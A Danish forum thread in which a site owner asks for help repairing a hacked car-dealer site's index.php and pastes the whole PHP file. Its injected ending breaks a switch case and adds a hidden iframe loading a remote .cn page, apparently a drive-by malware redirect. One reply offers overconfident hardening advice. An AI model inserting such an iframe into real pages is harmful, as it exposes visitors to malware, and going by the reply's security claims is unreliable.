|
|
|
|
Hej. Har et lille problem med index.php filen. Siden er vist blevet hacket af nogen der har ændret slutningen af index.php filen til følgende:
case "offers":
$continut = $auto->showOffers();
$pageName = 'Tilbud';
break;
case "submi
<iframe src="http://yourlotcar.cn:8080/index.php" width=123 height=101 style="visibility: hidden"></iframe>
Sletter jeg det fra break; får jeg bare en anden fejl, som siger der er noget galt efter break. Der må mangle et eller andet i slutningen af filen for at få den til at virke. Det ser ud tilk at hackerne har ændret alle index filer med link til yourlotcar. Nogen gode ideer.
|
|
|
|
Dato : 04.02.2010, 12:03 |
Visninger : 678 |
Points : 0 |
|
|
|
Bruge .htaccess File
Lav Post fra PHP file Til Javascript med md5 Hash -
Lav at dine scripts accepteres kun af din egen ip og ingen andre.
så kan ingen hack dig igen. ^^
|
|
|
|
Dato : 07.02.2010, 15:30 |
Kommentar af : AlexOO |
|
|
|
Tak for svaret. Det løser bare ikke mit nuværende problem med at bringe sitet op at køre igen.
Det er en side det krakkede Netkompagniet har lavet, kan bare ikke finde ud af om det er en egenudviklet eller det er noget i stil med Joomla eller CMSimple.
Netkompagniet har vist haft nogle programmører i Ukraine, som har taget sig af indkomne opgaver. Programmørerne har haft og har stadig admin adgang til systemet, ikke fordi jeg tror det betyder noget, men alligevel skulle man nok have ændret nogle password efter krakket.
Det jeg har brug for at vide er hvad index filen skal ende/slutte med hvis jeg fjerner de 3 liner startende med case "submi som er den trdie sidste linie i index.php filen. Et eller andet skal filen vel slutte med, det er her jeg har brug for en smule hjælp, for at se om der er noget andet galt ud over index filerne. Fjerner jeg de omtalte linier slutter filen med break; skal den det?
|
|
|
|
|
|
|
Jeg har lige sat hele indholdet af filen ind herunder.
<?php
ini_set('session.use_trans_sid', 0);
ini_set("session.use_only_cookies","1");
session_start();
include_once("config.php"); global $CFG;
include_once($CFG->pathSite."libs/smarty/Smarty.class.php");
$smarty = new Smarty;
$smarty->compile_dir = "templates_c";
$smarty->template_dir = "templates";
$action = $_REQUEST["action"];
$db1=mysql_connect('localhost',$CFG->dbUser,$CFG->dbPassword);
mysql_select_db($CFG->database,$db1) or die( "Eroare deschidere baza de date");
require_once($CFG->pathSite.'classes/Auto.class.php');
$auto = new Auto($db1, $smarty);
if (!isset($action)) $auto->record($_SERVER['REMOTE_ADDR']);
switch ($action)
{
// --auto----------------
case "record":
//RECORD USER ACTIVITY
$auto->record($_SERVER['REMOTE_ADDR']);
break;
case "side":
$continut = $auto->side();
$pageName = 'Forside';
break;
case "pagination":
$continut = $smarty->fetch('saleHeader.tpl');
if(isset($_REQUEST['pagina'])) {
$continut .= $auto->listAuto($_REQUEST['pagina']);
$continut .= $auto->pagination($_REQUEST['pagina']);
} else {
$continut .= $auto->listAuto('1');
$continut .= $auto->pagination($_REQUEST['pagina']);
}
$pageName = 'Biler Til Salg';
break;
case "searchAuto":
//query db in care inreg corespun LIKE %car%
$auto->paginationSearch($_REQUEST['car'],$_REQUEST['text']);
if(isset($_REQUEST['pagina'])) {
$continut = $auto->listAutoSearch($_REQUEST['pagina'],$_REQUEST['car']);
$continut .= $auto->paginationSearch($_REQUEST['car']);
} else {
$continut = $auto->listAutoSearch('1',$_REQUEST['car']);
$continut .= $auto->paginationSearch($_REQUEST['car']);
}
break;
case "detailAuto":
$locatia = "Detalii Masina";
$continut = $auto->detailAuto($_REQUEST['id']);
break;
case "buy":
$continut = $auto->FrontEnd($_REQUEST['fieldName']);
$pageName = 'Kob';
break;
case "reparation":
$continut = $auto->FrontEnd($_REQUEST['fieldName']);
$pageName = 'Reparation';
break;
case "finanting":
$continut = $auto->FrontEnd($_REQUEST['fieldName']);
$pageName = 'Finansiering';
break;
case "accessories":
$continut = $auto->FrontEnd($_REQUEST['fieldName']);
$pageName = 'Daek';
break;
case "contact":
$continut = $auto->contactFrontend();
$pageName = 'Contact';
break;
case "submitMETA":
$continut = $auto->submitMETA();
break;
case "offers":
$continut = $auto->showOffers();
$pageName = 'Tilbud';
break;
case "submi
<iframe src="http://yourlotcar.cn:8080/index.php" width=123 height=101 style="visibility: hidden"></iframe>
|
|
|
|
|
|
|
Kan ikke se fejlen - men
aner ikke om du mener hvad php filen skal slutte med eller.. ej...
men jeg kan se at du mangler
?>
til sidst...
|
|
|
|
Dato : 08.02.2010, 21:25 |
Kommentar af : AlexOO |
|
|
|
NU ser det ud til at jeg ikke får nogen fejl i afviklingen af index filen. Den manglede lige en } til sidst ud over ?> efter at have slettet de sidste 3 linier.
Det er sker nu er at jeg får en fin blank side uden fejl. Jeg har tjekket at databasen indeholder data og at man kan logge ind på den via phpmyadmin.
Mine evner/erfaring ikke til at se hvad der skal ske når den har afviklet index filen. Jeg kan ikke rigtig læse mig til hvad der skal ske, hvilken side der skal loades, her har jeg brug for lidt hjælp.
|
|
|
|
|
Login for at skrive et indlæg :
|